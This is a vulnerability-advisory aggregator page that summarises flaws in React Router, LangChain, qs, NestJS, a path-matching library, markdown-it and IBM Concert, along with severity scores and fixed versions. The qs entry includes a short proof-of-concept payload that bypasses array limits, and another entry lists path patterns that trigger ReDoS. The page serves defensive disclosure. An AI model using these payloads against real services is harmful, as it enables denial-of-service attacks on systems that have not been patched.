Source: GitHub
First published (updated )
Severity
6.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Certain URLs passed to the redirect function can trigger an open redirect to an external domain depending on the level of validation done by the application prior to returning the redirect.

[!NOTE] This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>)

1 / 3
Source: GitHub
First published (updated )
Severity
6.5
SSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

LangChain is a framework for building agents and LLM-powered applications. Prior to langchain-text-splitters 1.1.2, HTMLHeaderTextSplitter.splittextfromurl() validated the initial URL using validatesafeurl() but then performed the fetch with requests.get() with redirects enabled (the default). Because redirect targets were not revalidated, a URL pointing to an attacker-controlled server could redirect to internal, localhost, or cloud metadata endpoints, bypassing SSRF protections. The response body is parsed and returned as Document objects to the calling application code. Whether this constitutes a data exfiltration path depends on the application: if it exposes Document contents (or derivatives) back to the requester who supplied the URL, sensitive data from internal endpoints could be leaked. Applications that store or process Documents internally without returning raw content to the requester are not directly exposed to data exfiltration through this issue. This vulnerability is fixed in 1.1.2.

First published (updated )
Severity
6.3
EPSS
0.02%
Input Validation
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary The arrayLimit option in qs does not enforce limits for comma-separated values when comma: true is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).

Details When the comma option is set to true (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., ?param=a,b,c becomes ['a', 'b', 'c']). However, the limit check for arrayLimit (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in parseArrayValue, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.

Vulnerable code (lib/parse.js: lines ~40-50): js if (val && typeof val === 'string' && options.comma && val.indexOf(',') -1) {     return val.split(','); }

if (options.throwOnLimitExceeded && currentArrayLength = options.arrayLimit) {     throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); }

return val; The split(',') returns the array immediately, skipping the subsequent limit check. Downstream merging via utils.combine does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., ?param=,,,,,,,,...), allocating massive arrays in memory without triggering limits. It bypasses the intent of arrayLimit, which is enforced correctly for indexed (a[0]=) and bracket (a[]=) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).

PoC Test 1 - Basic bypass: npm install qs

js const qs = require('qs');

const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };

try {   const result = qs.parse(payload, options);   console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) {   console.log('Limit enforced:', e.message); // Not thrown } Configuration: - comma: true - arrayLimit: 5 - throwOnLimitExceeded: true

Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26.

Impact Denial of Service (DoS) via memory exhaustion.

1 / 3
Source: IBM
First published (updated )
Severity
6.3
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact What kind of vulnerability is it? Who is impacted?

SseStream.transform() interpolates message.type and message.id directly into Server-Sent Events text protocol output without sanitizing newline characters (\r, \n). Since the SSE protocol treats both \r and \n as field delimiters and \n\n as event boundaries, an attacker who can influence these fields through upstream data sources can inject arbitrary SSE events, spoof event types, and corrupt reconnection state. Spring Framework's own security patch (6e97587) validates these same fields (id, event) for the same reason.

Actual impact:

- Event spoofing: Attacker forges SSE events with arbitrary event: types, causing client-side EventSource.addEventListener() callbacks to fire for wrong event types. - Data injection: Attacker injects arbitrary data: payloads, potentially triggering XSS if the client renders SSE data as HTML without sanitization. - Reconnection corruption: Attacker injects id: fields, corrupting the Last-Event-ID header on reconnection, causing the client to miss or replay events. - Attack precondition: Requires the developer to map user-influenced data to the type or id fields of SSE messages. Direct HTTP request input does not reach these fields without developer code bridging the gap. - Patches Has the problem been patched? What versions should users upgrade to?

Patched in @nestjs/core@11.1.18

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
EPSS
0.05%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

When using multiple wildcards, combined with at least one parameter, a regular expression can be generated that is vulnerable to ReDoS. This backtracking vulnerability requires the second wildcard to be somewhere other than the end of the path.

Unsafe examples:

/foo-bar-:baz /a-:b-c-:d /x/a-:b/c/y

Safe examples:

/foo-:bar /foo-:bar-baz

Patches

Upgrade to version 8.4.0.

Workarounds

If developers are using multiple wildcard parameters, they can check the regex output with a tool such as https://makenowjust-labs.github.io/recheck/playground/ to confirm whether a path is vulnerable.

1 / 3
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

IBM Concert 1.0.0 through 2.3.1 could allow a remote attacker to perform unauthorized actions using man in the middle techniques due to improper certificate validation.

1 / 2
Source: MITRE

Remedy

IBM strongly recommends addressing the vulnerability now by upgrading to IBM Concert Software 3.0.0 Download IBM Concert Software 3.0.0 from Container software library section of IBM Entitled Registry ( ICR https://myibm.ibm.com/products-services/containerlibrary ) and follow  installation instructions https://www.ibm.com/docs/en/concert  depending on the type of deployment.
First published (updated )
Severity
5.5
EPSS
0.01%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P

Versions of the package markdown-it from 13.0.0 and before 14.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of the regex /\+$/ in the linkify function. An attacker can supply a long sequence of characters followed by a non-matching character, which triggers excessive backtracking and may lead to a denial-of-service condition.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203